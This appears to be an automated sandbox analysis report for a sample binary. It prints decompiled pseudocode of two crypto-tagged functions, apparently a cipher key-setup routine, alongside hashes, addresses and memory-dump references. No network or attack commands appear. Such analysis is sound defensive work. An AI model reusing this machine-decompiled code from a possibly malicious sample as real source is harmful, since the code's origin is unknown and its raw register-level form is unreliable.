Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feccd1371fdc73eab838424ad6d4f3dd33254f1ec3bfe9ee7b3cef00517bf14a
Instruction ID: bb57bc86ed233216915dd044912dfb7c1b5d81d829c44678b9dc69ead0b0809e
Opcode Fuzzy Hash: feccd1371fdc73eab838424ad6d4f3dd33254f1ec3bfe9ee7b3cef00517bf14a
Instruction Fuzzy Hash: 0D42E4B3B380A00BD36DCB2DEC52BA93BE1B3543097099529E796C3E05E53CEA54DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37219F0 Relevance: .7, Instructions: 669
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00007FF77FF7E37219F0(void* __eflags, long long __rcx, long long __rdx, long long __r8, long long __r9) {
				long long* _t25;
				void* _t27;
				long long _t35;

				 *((long long*)(_t27 + 0x20)) = __r9;
				 *((long long*)(_t27 + 0x18)) = __r8;
				 *((long long*)(_t27 + 0x10)) = __rdx;
				 *((long long*)(_t27 + 8)) = __rcx;
				_push(_t35);
				_t25 = _t27 - 0x98;
				 *((intOrPtr*)(_t25 - 0x10)) = 1;
				 *((long long*)(_t25 - 8)) = 1;
				r13d = 0;
				 *((long long*)(_t25 - 0x80)) = _t35;
				 *_t25 = _t25 - 0x80;
				if (E00007FF77FF7E3720380(__r9, _t25 - 0x10) != 0) goto 0xe3721a6d;
				_t11 = _t35 - 0xc; // -12
				return _t11;
			}

0x7ff7e37219f0
0x7ff7e37219f5
0x7ff7e37219fa
0x7ff7e37219ff
0x7ff7e3721a08
0x7ff7e3721a0e
0x7ff7e3721a20
0x7ff7e3721a2a
0x7ff7e3721a36
0x7ff7e3721a3d
0x7ff7e3721a44
0x7ff7e3721a55
0x7ff7e3721a57
0x7ff7e3721a6c

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d77fbbbfb69ea511ab0667be3100f76858175cdce7989b3bbc1988616ce27d0c
Instruction ID: dee02a897540574a97d512f0489c9b2e60cbb49b4dbd1807b0b192c897e7846b
Opcode Fuzzy Hash: d77fbbbfb69ea511ab0667be3100f76858175cdce7989b3bbc1988616ce27d0c
Instruction Fuzzy Hash: BB527372708B8285EB90EB55E4807AEBBA0FB88788F804132EE4D67B59DF7CD554C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37395D0 Relevance: .6, Instructions: 646
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00007FF77FF7E37395D0(void* __eflags, signed int __rax, intOrPtr* __rcx, void* __rdx, void* __r9, void* __r11, long long __r13) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				signed char _t426;
				signed char _t428;
				signed char _t430;
				signed char _t432;
				signed char _t434;
				signed char _t444;
				signed char _t446;
				signed char _t448;
				signed char _t450;
				signed char _t452;
				signed char _t462;
				signed char _t464;
				signed char _t466;
				signed char _t468;
				signed char _t470;
				signed char _t480;
				signed char _t482;
				signed char _t484;
				signed char _t486;
				signed char _t488;
				signed char _t490;
				void* _t493;
				signed int _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t528;
				signed char _t535;
				signed char _t536;
				signed char _t540;
				signed int _t549;
				void* _t599;
				signed int _t606;
				signed int _t608;
				signed int _t615;
				void* _t617;
				void* _t618;
				signed int _t661;
				void* _t666;
				signed long long _t714;
				signed long long _t722;
				signed long long _t724;
				signed long long _t726;
				signed long long _t728;
				intOrPtr* _t732;
				unsigned long long _t742;
				void* _t755;
				void* _t757;
				void* _t758;
				void* _t760;
				void* _t777;
				void* _t780;
				void* _t783;
				signed int* _t791;
				signed int* _t793;
				signed int* _t795;
				signed int* _t797;
				void* _t799;
				signed long long _t804;
				signed long long _t808;
				signed long long _t810;
				signed long long _t814;

				_t799 = __r11;
				_t783 = __r9;
				_t661 = __rax;
				_t618 = __eflags;
				 *(_t757 + 0x18) = r8d;
				_push(_t742);
				_push(_t810);
				_t755 = _t757 - 0x27;
				_t758 = _t757 - 0xf0;
				_t608 = r8d;
				_t666 = __rcx + 4;
				 *(_t758 + 0x30) = __rax;
				 *(_t758 + 0x38) = __rax;
				_t732 = __rcx;
				 *(_t758 + 0x40) = __rax;
				 *(_t758 + 0x48) = __rax;
				 *((long long*)(_t755 - 0x79)) = __rax;
				r8d = 0x110;
				 *((long long*)(_t755 - 0x71)) = __rax;
				 *((long long*)(_t755 - 0x69)) = __rax;
				 *((long long*)(_t755 - 0x61)) = __rax;
				E00007FF77FF7E373B860(_t493, 0, _t599, _t617, _t666, __rdx, __rcx, _t760);
				r14d = 0;
				if (_t618 == 0) goto 0xe373965b;
				if (_t618 == 0) goto 0xe373964d;
				if (_t608 - 0x40 == 0x40) goto 0xe373964d;
				goto 0xe3739efa;
				 *_t732 = 4;
				r15d = 1;
				goto 0xe3739664;
				 *_t732 = 3;
				_t814 = _t810;
				 *((long long*)(_t758 + 0x138)) = __r13;
				if (_t742 >> 3 == 0) goto 0xe3739685;
				E00007FF77FF7E373BC10(_t493, _t599, _t608, _t617, _t758 + 0x30, __rdx, _t732, _t742, _t742 >> 3);
				r8d =  *(_t758 + 0x44) & 0x000000ff;
				r9d =  *(_t758 + 0x40) & 0x000000ff;
				if (_t608 != 0xc0) goto 0xe37396e7;
				r12d = r9b & 0xffffffff;
				r13d =  *(_t758 + 0x41) & 0x000000ff;
				r12b =  !r12b;
				 *(_t755 + 0x7f) =  !( *(_t758 + 0x43) & 0x000000ff);
				r13b =  !r13b;
				 *(_t758 + 0x20) =  !(r8b & 0xffffffff);
				 *(_t758 + 0x21) =  !( *(_t758 + 0x45) & 0x000000ff);
				 *(_t758 + 0x22) =  !( *(_t758 + 0x46) & 0x000000ff);
				 *(_t758 + 0x23) =  !( *(_t758 + 0x47) & 0x000000ff);
				goto 0xe373971d;
				r13d =  *(_t755 - 0x80) & 0x000000ff;
				r12d =  *(_t758 + 0x48) & 0x000000ff;
				 *(_t758 + 0x23) =  *(_t755 - 0x7a) & 0x000000ff;
				 *(_t758 + 0x22) =  *(_t755 - 0x7b) & 0x000000ff;
				 *(_t758 + 0x21) =  *(_t755 - 0x7c) & 0x000000ff;
				 *(_t758 + 0x20) =  *(_t755 - 0x7d) & 0x000000ff;
				 *(_t755 + 0x7f) =  *(_t755 - 0x7e) & 0x000000ff;
				 *(_t755 + 0x67) =  *(_t755 - 0x7f) & 0x000000ff;
				_t714 = _t810;
				asm("o16 nop [eax+eax]");
				 *(_t755 + _t714 - 9) = ((( *(_t714 + 0x7ff7e375c980) & 0x000000ff) << 0x00000008 |  *(_t714 + 0x7ff7e375c981) & 0x000000ff) << 0x00000008 |  *(_t714 + 0x7ff7e375c982) & 0x000000ff) << 0x00000008 |  *(_t714 + 0x7ff7e375c983) & 0x000000ff;
				 *(_t755 + _t714 - 5) = ((( *(_t714 + 0x7ff7e375c984) & 0x000000ff) << 0x00000008 |  *(_t714 + 0x7ff7e375c985) & 0x000000ff) << 0x00000008 |  *(_t714 + 0x7ff7e375c986) & 0x000000ff) << 0x00000008 |  *(_t714 + 0x7ff7e375c987) & 0x000000ff;
				if (_t714 + 8 - 0x30 < 0) goto 0xe3739730;
				r11d =  *(_t758 + 0x38) & 0x000000ff;
				r10d =  *(_t758 + 0x3c) & 0x000000ff;
				 *(_t755 - 0x49) = _t661;
				 *(_t755 - 0x41) = _t661;
				 *(_t755 - 0x39) = _t661;
				 *(_t755 - 0x31) = _t661;
				 *(_t755 - 0x29) = _t661;
				 *(_t755 - 0x21) = _t661;
				 *(_t755 - 0x19) = _t661;
				 *(_t755 - 0x11) = _t661;
				r11d = r11d << 8;
				r10d = r10d << 8;
				r9d = r9b & 0xffffffff;
				r9d = r9d << 8;
				r8d = r8b & 0xffffffff;
				r8d = r8d << 8;
				_t615 = ((( *(_t758 + 0x30) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x31) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x32) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x33) & 0x000000ff;
				 *(_t755 - 0x49) = _t615;
				_t606 = ((( *(_t758 + 0x34) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x35) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x36) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x37) & 0x000000ff;
				r11d = r11d |  *(_t758 + 0x39) & 0x000000ff;
				 *(_t755 - 0x45) = _t606;
				r11d = r11d << 8;
				r11d = r11d |  *(_t758 + 0x3a) & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d |  *(_t758 + 0x3b) & 0x000000ff;
				r10d = r10d |  *(_t758 + 0x3d) & 0x000000ff;
				 *(_t755 - 0x41) = r11d;
				r10d = r10d << 8;
				r10d = r10d |  *(_t758 + 0x3e) & 0x000000ff;
				r10d = r10d << 8;
				r10d = r10d |  *(_t758 + 0x3f) & 0x000000ff;
				r9d = r9d |  *(_t758 + 0x41) & 0x000000ff;
				 *(_t755 - 0x3d) = r10d;
				r9d = r9d << 8;
				r9d = r9d |  *(_t758 + 0x42) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(_t758 + 0x43) & 0x000000ff;
				r8d = r8d |  *(_t758 + 0x45) & 0x000000ff;
				 *(_t755 - 0x39) = r9d;
				r8d = r8d << 8;
				r8d = r8d |  *(_t758 + 0x46) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(_t758 + 0x47) & 0x000000ff;
				 *(_t755 - 0x35) = r8d;
				r8d = r8d ^ _t606;
				_t549 = (((r12b & 0xffffffff) << 0x00000008 | r13b & 0xffffffff) << 0x00000008 |  *(_t755 + 0x67) & 0x000000ff) << 0x00000008 |  *(_t755 + 0x7f) & 0x000000ff;
				 *(_t755 - 0x25) = r8d;
				 *(_t755 - 0x31) = _t549;
				 *(_t755 - 0x21) = _t549 ^ r11d;
				_t524 = ((( *(_t758 + 0x20) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x21) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x22) & 0x000000ff) << 0x00000008 |  *(_t758 + 0x23) & 0x000000ff;
				 *(_t755 - 0x29) = _t615 ^ r9d;
				 *(_t755 - 0x2d) = _t524;
				_t525 = _t524 ^ r10d;
				 *(_t755 - 0x1d) = _t525;
				E00007FF77FF7E37394C0(_t661, _t666, _t755 - 0x29, _t755 - 9, _t732, _t742, _t755 - 0x21, _t783, 0x7ff7e3710000);
				E00007FF77FF7E37394C0(_t661, _t666, _t755 - 0x21, _t755 - 1, _t732, _t742, _t755 - 0x29, _t783, 0x7ff7e3710000);
				asm("movdqa xmm0, [ebp-0x49]");
				asm("pxor xmm0, [ebp-0x29]");
				asm("movdqa [ebp-0x29], xmm0");
				E00007FF77FF7E37394C0(_t661, _t666, _t755 - 0x29, _t755 + 7, _t732, _t742, _t755 - 0x21, _t783, 0x7ff7e3710000);
				E00007FF77FF7E37394C0(_t661, _t666, _t755 - 0x21, _t755 + 0xf, _t732, _t742, _t755 - 0x29, _t783, 0x7ff7e3710000);
				if ( *((intOrPtr*)(_t755 + 0x77)) - 0x80 <= 0) goto 0xe37399cd;
				 *(_t755 - 0x19) =  *(_t755 - 0x29) ^  *(_t755 - 0x39);
				 *(_t755 - 0x15) =  *(_t755 - 0x25) ^  *(_t755 - 0x35);
				 *(_t755 - 0x11) =  *(_t755 - 0x21) ^  *(_t755 - 0x31);
				 *(_t755 - 0xd) =  *(_t755 - 0x1d) ^  *(_t755 - 0x2d);
				E00007FF77FF7E37394C0(_t661, _t666, _t755 - 0x19, _t755 + 0x17, _t732, _t742, _t755 - 0x11, _t783, 0x7ff7e3710000);
				E00007FF77FF7E37394C0(_t661, _t666, _t755 - 0x11, _t755 + 0x1f, _t732, _t742, _t755 - 0x19, _t783, 0x7ff7e3710000);
				asm("movaps xmm0, [ebp-0x49]");
				_t808 = _t814 << 4;
				_t791 = _t758 + 0x44;
				r11d = 0xf;
				asm("movups [esp+0x30], xmm0");
				if ( *((intOrPtr*)(0x7ff7e375cac0 + _t808)) == r14b) goto 0xe3739a74;
				r9d = r9d & 0x0000001f;
				r8d = 0x20;
				_t526 = r9d;
				 *(_t791 - 4) =  *(_t758 + 0x34) >> _t525 ^  *(_t758 + 0x30) << _t526;
				_t527 = r9d;
				 *_t791 =  *(_t758 + 0x38) >> _t526 ^  *(_t758 + 0x34) << _t527;
				_t528 = r9d;
				_t791[1] =  *(_t758 + 0x3c) >> _t527 ^  *(_t758 + 0x38) << _t528;
				_t791[2] =  *(_t758 + 0x30) >> _t528 ^  *(_t758 + 0x3c) << r9d;
				if (_t732 + _t799 - 0x3c <= 0) goto 0xe3739a00;
				_t722 = _t810;
				_t804 = _t814 + _t814 * 4 << 4;
				_t426 =  *(0x7ff7e375cc01 + _t722 - 1) & 0x000000ff;
				if (_t426 == 0xff) goto 0xe3739ab9;
				 *((intOrPtr*)(_t666 + _t426 * 4)) =  *((intOrPtr*)(_t758 + 0x30 + _t722 * 4));
				_t428 =  *(0x7ff7e375cc01 + _t722) & 0x000000ff;
				if (_t428 == 0xff) goto 0xe3739acd;
				 *((intOrPtr*)(_t666 + _t428 * 4)) =  *((intOrPtr*)(_t758 + 0x34 + _t722 * 4));
				_t430 =  *(0x7ff7e375cc01 + _t722 + 1) & 0x000000ff;
				if (_t430 == 0xff) goto 0xe3739ae2;
				 *((intOrPtr*)(_t666 + _t430 * 4)) =  *((intOrPtr*)(_t758 + 0x38 + _t722 * 4));
				_t432 =  *(0x7ff7e375cc01 + _t722 + 2) & 0x000000ff;
				if (_t432 == 0xff) goto 0xe3739af7;
				 *((intOrPtr*)(_t666 + _t432 * 4)) =  *((intOrPtr*)(_t758 + 0x3c + _t722 * 4));
				_t434 =  *(0x7ff7e375cc01 + _t804 + _t722 + 3) & 0x000000ff;
				if (_t434 == 0xff) goto 0xe3739b0c;
				 *((intOrPtr*)(_t666 + _t434 * 4)) =  *((intOrPtr*)(_t758 + 0x40 + _t722 * 4));
				if (_t722 + 5 - 0x14 < 0) goto 0xe3739aa4;
				if ( *((intOrPtr*)(_t755 + 0x77)) - 0x80 <= 0) goto 0xe3739c52;
				asm("movaps xmm0, [ebp-0x39]");
				asm("movups [esp+0x30], xmm0");
				_t793 = _t758 + 0x44;
				if ( *0x7FF7E375CAC4 == r14b) goto 0xe3739bb4;
				r8d = r8d & 0x0000001f;
				r9d = 0x20;
				 *(_t793 - 4) =  *(_t758 + 0x30) << r8d ^  *(_t758 + 0x34) >> r8d;
				 *_t793 =  *(_t758 + 0x34) << r8d ^  *(_t758 + 0x38) >> r8d;
				_t793[1] =  *(_t758 + 0x38) << r8d ^  *(_t758 + 0x3c) >> r8d;
				_t793[2] =  *(_t758 + 0x3c) << r8d ^  *(_t758 + 0x30) >> r8d;
				if (_t799 + _t799 - 0x3c <= 0) goto 0xe3739b40;
				_t724 = _t810;
				_t444 =  *(0x7ff7e375cc15 + _t724 - 1) & 0x000000ff;
				if (_t444 == 0xff) goto 0xe3739bf5;
				 *((intOrPtr*)(_t666 + _t444 * 4)) =  *((intOrPtr*)(_t758 + 0x30 + _t724 * 4));
				_t446 =  *(0x7ff7e375cc15 + _t724) & 0x000000ff;
				if (_t446 == 0xff) goto 0xe3739c09;
				 *((intOrPtr*)(_t666 + _t446 * 4)) =  *((intOrPtr*)(_t758 + 0x34 + _t724 * 4));
				_t448 =  *(0x7ff7e375cc15 + _t724 + 1) & 0x000000ff;
				if (_t448 == 0xff) goto 0xe3739c1e;
				 *((intOrPtr*)(_t666 + _t448 * 4)) =  *((intOrPtr*)(_t758 + 0x38 + _t724 * 4));
				_t450 =  *(0x7ff7e375cc15 + _t724 + 2) & 0x000000ff;
				if (_t450 == 0xff) goto 0xe3739c33;
				 *((intOrPtr*)(_t666 + _t450 * 4)) =  *((intOrPtr*)(_t758 + 0x3c + _t724 * 4));
				_t452 =  *(0x7ff7e375cc15 + _t724 + 3) & 0x000000ff;
				if (_t452 == 0xff) goto 0xe3739c48;
				 *((intOrPtr*)(_t666 + _t452 * 4)) =  *((intOrPtr*)(_t758 + 0x40 + _t724 * 4));
				if (_t724 + 5 - 0x14 < 0) goto 0xe3739be0;
				asm("movaps xmm0, [ebp-0x29]");
				_t244 = _t808 + 0x4cac8; // 0x4cac8
				asm("movups [esp+0x30], xmm0");
				_t795 = _t758 + 0x44;
				if ( *((intOrPtr*)(_t244 + 0x7ff7e3710000)) == r14b) goto 0xe3739ce1;
				r9d = r9d & 0x0000001f;
				r8d = 0x20;
				_t535 = r9d;
				 *(_t795 - 4) =  *(_t758 + 0x30) << r9d ^  *(_t758 + 0x34) >> r9d;
				 *_t795 =  *(_t758 + 0x34) << _t535 ^  *(_t758 + 0x38) >> _t535;
				_t536 = r9d;
				_t795[1] =  *(_t758 + 0x3c) >> _t535 ^  *(_t758 + 0x38) << _t536;
				_t795[2] =  *(_t758 + 0x30) >> _t536 ^  *(_t758 + 0x3c) << r9d;
				if (_t799 + _t799 - 0x3c <= 0) goto 0xe3739c70;
				_t726 = _t810;
				_t777 = 0x7ff7e375cc29 + _t804;
				_t462 =  *(_t777 + _t726 - 1) & 0x000000ff;
				if (_t462 == 0xff) goto 0xe3739d25;
				 *((intOrPtr*)(_t666 + _t462 * 4)) =  *((intOrPtr*)(_t758 + 0x30 + _t726 * 4));
				_t464 =  *(_t777 + _t726) & 0x000000ff;
				if (_t464 == 0xff) goto 0xe3739d39;
				 *((intOrPtr*)(_t666 + _t464 * 4)) =  *((intOrPtr*)(_t758 + 0x34 + _t726 * 4));
				_t466 =  *(_t777 + _t726 + 1) & 0x000000ff;
				if (_t466 == 0xff) goto 0xe3739d4e;
				 *((intOrPtr*)(_t666 + _t466 * 4)) =  *((intOrPtr*)(_t758 + 0x38 + _t726 * 4));
				_t468 =  *(_t777 + _t726 + 2) & 0x000000ff;
				if (_t468 == 0xff) goto 0xe3739d63;
				 *((intOrPtr*)(_t666 + _t468 * 4)) =  *((intOrPtr*)(_t758 + 0x3c + _t726 * 4));
				_t470 =  *(_t777 + _t726 + 3) & 0x000000ff;
				if (_t470 == 0xff) goto 0xe3739d78;
				 *((intOrPtr*)(_t666 + _t470 * 4)) =  *((intOrPtr*)(_t758 + 0x40 + _t726 * 4));
				if (_t726 + 5 - 0x14 < 0) goto 0xe3739d10;
				if ( *((intOrPtr*)(_t755 + 0x77)) - 0x80 <= 0) goto 0xe3739eb2;
				asm("movaps xmm0, [ebp-0x19]");
				asm("movups [esp+0x30], xmm0");
				_t797 = _t758 + 0x44;
				if ( *((intOrPtr*)(0x7ff7e375cacc + _t808)) == r14b) goto 0xe3739e18;
				r9d = r9d & 0x0000001f;
				r8d = 0x20;
				 *(_t797 - 4) =  *(_t758 + 0x30) << r9d ^  *(_t758 + 0x34) >> r9d;
				_t540 = r9d;
				 *_t797 =  *(_t758 + 0x34) << r9d ^  *(_t758 + 0x38) >> r9d;
				_t797[1] =  *(_t758 + 0x38) << _t540 ^  *(_t758 + 0x3c) >> _t540;
				_t797[2] =  *(_t758 + 0x30) >> _t540 ^  *(_t758 + 0x3c) << r9d;
				if (_t799 + 0xf - 0x3c <= 0) goto 0xe3739da7;
				_t728 = _t810;
				_t780 = 0x7ff7e375cc3d + _t804;
				asm("o16 nop [eax+eax]");
				_t480 =  *(_t780 + _t728 - 1) & 0x000000ff;
				if (_t480 == 0xff) goto 0xe3739e55;
				 *((intOrPtr*)(_t666 + _t480 * 4)) =  *((intOrPtr*)(_t758 + 0x30 + _t728 * 4));
				_t482 =  *(_t780 + _t728) & 0x000000ff;
				if (_t482 == 0xff) goto 0xe3739e69;
				 *((intOrPtr*)(_t666 + _t482 * 4)) =  *((intOrPtr*)(_t758 + 0x34 + _t728 * 4));
				_t484 =  *(_t780 + _t728 + 1) & 0x000000ff;
				if (_t484 == 0xff) goto 0xe3739e7e;
				 *((intOrPtr*)(_t666 + _t484 * 4)) =  *((intOrPtr*)(_t758 + 0x38 + _t728 * 4));
				_t486 =  *(_t780 + _t728 + 2) & 0x000000ff;
				if (_t486 == 0xff) goto 0xe3739e93;
				 *((intOrPtr*)(_t666 + _t486 * 4)) =  *((intOrPtr*)(_t758 + 0x3c + _t728 * 4));
				_t488 =  *(_t780 + _t728 + 3) & 0x000000ff;
				if (_t488 == 0xff) goto 0xe3739ea8;
				 *((intOrPtr*)(_t666 + _t488 * 4)) =  *((intOrPtr*)(_t758 + 0x40 + _t728 * 4));
				if (_t728 + 5 - 0x14 < 0) goto 0xe3739e40;
				_t490 =  *(0x7ff7e37592e8 + (_t814 + _t814 * 4) * 4 + _t810) & 0x000000ff;
				if (_t490 == 0xff) goto 0xe3739eef;
				 *((intOrPtr*)(_t666 + 0x80 + (_t810 + (_t814 + _t814 * 2) * 4) * 4)) =  *((intOrPtr*)(_t666 + _t490 * 4));
				if (_t810 + 1 - 0x14 < 0) goto 0xe3739ed0;
				return 0;
			}

0x7ff7e37395d0
0x7ff7e37395d0
0x7ff7e37395d0
0x7ff7e37395d0
0x7ff7e37395d0
0x7ff7e37395d7
0x7ff7e37395db
0x7ff7e37395df
0x7ff7e37395e4
0x7ff7e37395ed
0x7ff7e37395f0
0x7ff7e37395f4
0x7ff7e37395fc
0x7ff7e3739601
0x7ff7e3739604
0x7ff7e373960c
0x7ff7e3739613
0x7ff7e3739617
0x7ff7e373961d
0x7ff7e3739621
0x7ff7e3739625
0x7ff7e3739629
0x7ff7e3739630
0x7ff7e3739638
0x7ff7e373963d
0x7ff7e3739642
0x7ff7e3739648
0x7ff7e373964d
0x7ff7e3739653
0x7ff7e3739659
0x7ff7e373965b
0x7ff7e3739661
0x7ff7e3739667
0x7ff7e3739676
0x7ff7e3739680
0x7ff7e3739685
0x7ff7e373968b
0x7ff7e3739697
0x7ff7e373969e
0x7ff7e37396a2
0x7ff7e37396af
0x7ff7e37396b2
0x7ff7e37396b5
0x7ff7e37396c0
0x7ff7e37396cb
0x7ff7e37396d6
0x7ff7e37396e1
0x7ff7e37396e5
0x7ff7e37396eb
0x7ff7e37396f0
0x7ff7e37396f6
0x7ff7e37396fe
0x7ff7e3739706
0x7ff7e373970e
0x7ff7e3739716
0x7ff7e373971d
0x7ff7e3739727
0x7ff7e373972a
0x7ff7e373976c
0x7ff7e373979a
0x7ff7e37397a6
0x7ff7e37397b4
0x7ff7e37397ba
0x7ff7e37397c0
0x7ff7e37397c4
0x7ff7e37397c8
0x7ff7e37397cc
0x7ff7e37397d0
0x7ff7e37397d4
0x7ff7e37397d8
0x7ff7e37397dc
0x7ff7e37397f2
0x7ff7e37397f6
0x7ff7e37397fa
0x7ff7e37397fe
0x7ff7e3739802
0x7ff7e3739806
0x7ff7e373981b
0x7ff7e3739827
0x7ff7e373983c
0x7ff7e3739843
0x7ff7e3739846
0x7ff7e373984e
0x7ff7e3739852
0x7ff7e373985a
0x7ff7e373985e
0x7ff7e3739866
0x7ff7e3739869
0x7ff7e3739872
0x7ff7e3739876
0x7ff7e373987e
0x7ff7e3739882
0x7ff7e373988a
0x7ff7e373988d
0x7ff7e3739896
0x7ff7e373989a
0x7ff7e37398a2
0x7ff7e37398a6
0x7ff7e37398ae
0x7ff7e37398b1
0x7ff7e37398ba
0x7ff7e37398be
0x7ff7e37398c6
0x7ff7e37398ca
0x7ff7e37398d3
0x7ff7e37398e9
0x7ff7e37398f5
0x7ff7e37398f7
0x7ff7e3739906
0x7ff7e3739916
0x7ff7e3739925
0x7ff7e3739927
0x7ff7e373992a
0x7ff7e373992d
0x7ff7e3739930
0x7ff7e3739937
0x7ff7e3739948
0x7ff7e373994d
0x7ff7e3739956
0x7ff7e3739963
0x7ff7e3739968
0x7ff7e3739979
0x7ff7e3739985
0x7ff7e3739995
0x7ff7e37399a2
0x7ff7e37399ab
0x7ff7e37399b4
0x7ff7e37399b7
0x7ff7e37399c8
0x7ff7e37399cd
0x7ff7e37399e2
0x7ff7e37399e6
0x7ff7e37399eb
0x7ff7e37399f4
0x7ff7e3739a03
0x7ff7e3739a10
0x7ff7e3739a14
0x7ff7e3739a22
0x7ff7e3739a2c
0x7ff7e3739a3a
0x7ff7e3739a44
0x7ff7e3739a51
0x7ff7e3739a5b
0x7ff7e3739a70
0x7ff7e3739a82
0x7ff7e3739a8c
0x7ff7e3739a96
0x7ff7e3739aa4
0x7ff7e3739aac
0x7ff7e3739ab6
0x7ff7e3739ab9
0x7ff7e3739ac0
0x7ff7e3739aca
0x7ff7e3739acd
0x7ff7e3739ad5
0x7ff7e3739adf
0x7ff7e3739ae2
0x7ff7e3739aea
0x7ff7e3739af4
0x7ff7e3739af7
0x7ff7e3739aff
0x7ff7e3739b09
0x7ff7e3739b14
0x7ff7e3739b1d
0x7ff7e3739b23
0x7ff7e3739b2e
0x7ff7e3739b36
0x7ff7e3739b43
0x7ff7e3739b50
0x7ff7e3739b57
0x7ff7e3739b6c
0x7ff7e3739b84
0x7ff7e3739b9b
0x7ff7e3739bb0
0x7ff7e3739bc2
0x7ff7e3739bcf
0x7ff7e3739be0
0x7ff7e3739be8
0x7ff7e3739bf2
0x7ff7e3739bf5
0x7ff7e3739bfc
0x7ff7e3739c06
0x7ff7e3739c09
0x7ff7e3739c11
0x7ff7e3739c1b
0x7ff7e3739c1e
0x7ff7e3739c26
0x7ff7e3739c30
0x7ff7e3739c33
0x7ff7e3739c3b
0x7ff7e3739c45
0x7ff7e3739c50
0x7ff7e3739c52
0x7ff7e3739c56
0x7ff7e3739c5d
0x7ff7e3739c65
0x7ff7e3739c73
0x7ff7e3739c80
0x7ff7e3739c87
0x7ff7e3739c97
0x7ff7e3739c9c
0x7ff7e3739cb1
0x7ff7e3739cbe
0x7ff7e3739cc8
0x7ff7e3739cdd
0x7ff7e3739cef
0x7ff7e3739cfc
0x7ff7e3739d06
0x7ff7e3739d10
0x7ff7e3739d18
0x7ff7e3739d22
0x7ff7e3739d25
0x7ff7e3739d2c
0x7ff7e3739d36
0x7ff7e3739d39
0x7ff7e3739d41
0x7ff7e3739d4b
0x7ff7e3739d4e
0x7ff7e3739d56
0x7ff7e3739d60
0x7ff7e3739d63
0x7ff7e3739d6b
0x7ff7e3739d75
0x7ff7e3739d80
0x7ff7e3739d89
0x7ff7e3739d8f
0x7ff7e3739d9a
0x7ff7e3739da2
0x7ff7e3739daa
0x7ff7e3739db7
0x7ff7e3739dbe
0x7ff7e3739dd3
0x7ff7e3739de6
0x7ff7e3739deb
0x7ff7e3739dff
0x7ff7e3739e14
0x7ff7e3739e27
0x7ff7e3739e34
0x7ff7e3739e37
0x7ff7e3739e3a
0x7ff7e3739e40
0x7ff7e3739e48
0x7ff7e3739e52
0x7ff7e3739e55
0x7ff7e3739e5c
0x7ff7e3739e66
0x7ff7e3739e69
0x7ff7e3739e71
0x7ff7e3739e7b
0x7ff7e3739e7e
0x7ff7e3739e86
0x7ff7e3739e90
0x7ff7e3739e93
0x7ff7e3739e9b
0x7ff7e3739ea5
0x7ff7e3739eb0
0x7ff7e3739ed0
0x7ff7e3739ed7
0x7ff7e3739ee8
0x7ff7e3739ef6
0x7ff7e3739f0b

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

